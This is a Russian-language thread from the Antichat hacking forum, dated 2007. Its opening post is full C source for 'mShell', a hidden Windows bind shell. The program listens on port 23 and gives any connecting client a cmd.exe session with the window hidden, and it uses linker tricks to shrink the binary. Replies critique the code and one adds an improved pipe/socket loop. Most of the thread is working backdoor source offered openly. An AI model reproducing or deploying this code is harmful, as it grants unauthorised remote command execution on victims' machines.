ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Remote Shell, mShell by D-oNe, All WIN* in C/C++
  #1  
Старый 03.08.2007, 20:10
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


Arrow Remote Shell, mShell by D-oNe, All WIN* in C/C++

Код:
//mShell by D-oNe, All WIN*, based on code by Delikon

#pragma optimize("gsy",on)
#pragma comment(linker,"/RELEASE")
#pragma comment(linker,"/ENTRY:EntryPoint")
#pragma comment(linker,"/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(linker,"/MERGE:.reloc=.data")
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078")
#pragma comment(linker,"/FILEALIGN:0x200")
#pragma comment(linker,"/subsystem:windows")

#include <windows.h>
#include <winsock.h>

const int port = 23;

void Shell(int port)
{
    WSADATA wsadata;
    SOCKET shellsock, sendsock;
    SOCKADDR_IN sin;
    HANDLE hPipeRead1, hPipeWrite1, hPipeRead2, hPipeWrite2;
    char szBuffer[4096], szCmdPath[MAX_PATH];
    int i, count = 0;
    DWORD lpNumberOfBytesRead;
    SECURITY_ATTRIBUTES secu =
    {
        (DWORD)sizeof(SECURITY_ATTRIBUTES), NULL, TRUE
    };
    STARTUPINFO sInfo;
    PROCESS_INFORMATION pInfo;
        WSAStartup(MAKEWORD(2,2), &wsadata);
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = 0;
        sin.sin_port = htons(port);
        i = sizeof (sin);
        shellsock = socket (AF_INET, SOCK_STREAM, 0);
        bind(shellsock, (SOCKADDR *)&sin, sizeof(sin));
        listen(shellsock, 0);
        sendsock = accept(shellsock,(SOCKADDR *)&sin, &i);
    if (sendsock == INVALID_SOCKET) ExitProcess(0);
        CreatePipe(&hPipeRead1, &hPipeWrite1, &secu, 0);
        CreatePipe(&hPipeRead2, &hPipeWrite2, &secu, 0);
        GetEnvironmentVariable("ComSpec", szCmdPath, sizeof(szCmdPath));
        memset(&sInfo, 0, sizeof(sInfo));
        memset(&pInfo, 0, sizeof(pInfo));
        sInfo.cb=sizeof (STARTUPINFO);
        sInfo.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
        sInfo.wShowWindow=SW_HIDE;
        sInfo.hStdInput = hPipeRead2;
        sInfo.hStdOutput = hPipeWrite1;
        sInfo.hStdError = hPipeWrite1;
        CreateProcess(NULL, szCmdPath, &secu, &secu, TRUE, 0, NULL, NULL, &sInfo, &pInfo);
    while (sendsock != SOCKET_ERROR)
    {
            Sleep (100);
            memset(szBuffer, 0, sizeof(szBuffer));
            PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
        while (lpNumberOfBytesRead)
        {
                Sleep (200);
            if (!ReadFile(hPipeRead1, szBuffer, sizeof(szBuffer), &lpNumberOfBytesRead, NULL)) break;
            else send(sendsock, szBuffer, lpNumberOfBytesRead, 0);
            PeekNamedPipe(hPipeRead1, NULL, NULL, NULL, &lpNumberOfBytesRead, NULL);
        }
            Sleep (200);
            i = recv (sendsock,szBuffer,sizeof(szBuffer),0);
        if (sendsock == 0)
        {
                count++;
            if (count > 1) break;
        }
        if (!strstr(szBuffer, "exit") == 0)
        {   
                closesocket(sendsock);
                closesocket(shellsock);
                TerminateProcess(pInfo.hProcess, 0);
                ExitProcess(0);
        }
        else WriteFile(hPipeWrite2, szBuffer, i, &lpNumberOfBytesRead, 0);
    }       
        closesocket(sendsock);
        closesocket(shellsock);
        TerminateProcess(pInfo.hProcess, 0);
        ExitProcess(0);
        return;
}

void EntryPoint()
{
        Shell(port);
}
 
Ответить с цитированием

  #2  
Старый 03.08.2007, 20:23
iv.
Moderator - Level 7
Регистрация: 21.03.2007
Сообщений: 1,200
Провел на форуме:
7134052

Репутация: 1204


По умолчанию

О, определенно самый хэккерский шелл из всех мною виденных..
 
Ответить с цитированием

  #3  
Старый 03.08.2007, 20:32
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Либу с Winsock, наверное забыл слинковать...
 
Ответить с цитированием

  #4  
Старый 03.08.2007, 22:57
da_ff
Участник форума
Регистрация: 11.07.2006
Сообщений: 125
Провел на форуме:
413927

Репутация: 71
Отправить сообщение для da_ff с помощью ICQ
По умолчанию

"if (!strstr(szBuffer, "exit") == 0)" страшно =)
 
Ответить с цитированием

  #5  
Старый 03.08.2007, 23:40
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

Да ИСИС, ты хэккер имхо. такие шеллы писать не каждый осилит имхо.
 
Ответить с цитированием

  #6  
Старый 04.08.2007, 12:28
f04c3
Новичок
Регистрация: 15.07.2007
Сообщений: 16
Провел на форуме:
32430

Репутация: 3
По умолчанию

Цыкл на чтение и запись с труб странно сделан, однопоточный, работа сокетов блокирующих (синхронные),даже влом постаить было буфер (0xFFF 4095) (экономия стекой памяти) вообщем руки кривые =)
 
Ответить с цитированием

  #7  
Старый 04.08.2007, 12:30
f04c3
Новичок
Регистрация: 15.07.2007
Сообщений: 16
Провел на форуме:
32430

Репутация: 3
По умолчанию

вот можно еще и так )))
while (GetExitCodeProcess(pIf.hProcess,&lpExit) && lpExit== STILL_ACTIVE)
{
DWORD BytesToRead;
DWORD BytesTotal;
while (PeekNamedPipe(hInRead,buffer,0x1FFF,&BytesToRead, &BytesTotal,NULL) && BytesToRead)
{
ReadFile(hInRead,buffer,0x1FFF,&BytesToRead,NULL);
send(Sock,buffer,BytesToRead,0);
}
fd_set f_set;
FD_ZERO(&f_set);
FD_SET(Sock,&f_set);
timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 5000;
int Err = select(0,&f_set,NULL,NULL,&timeout);
if (Err == SOCKET_ERROR) break;
int RecvBytes;
if (FD_ISSET(Sock,&f_set))
{
RecvBytes = recv(Sock,buffer,0x1FFF,0);
if (RecvBytes <=0) break;
DWORD BytesWritten;
WriteFile(hOutWrite,buffer,RecvBytes,&BytesWritten ,0);
MZero(buffer,0x1FFF);
}
}
 
Ответить с цитированием

  #8  
Старый 04.08.2007, 17:07
NetMan
Участник форума
Регистрация: 09.02.2004
Сообщений: 122
Провел на форуме:
1089794

Репутация: 134
По умолчанию

Этот шелл закроется после дисконнекта клиента. Может лучше было бы сделать многопоточный шелл, чтобы на каждый коннект был свой поток?
См. исходник Cr4sh`a.

Последний раз редактировалось NetMan; 04.08.2007 в 19:43..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Язык shell mR_LiNK[deface_0nl Чужие Статьи 10 10.01.2007 21:56
Порты троянов bxN5 Защита ОС: вирусы, антивирусы, файрволы. 4 06.05.2006 22:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ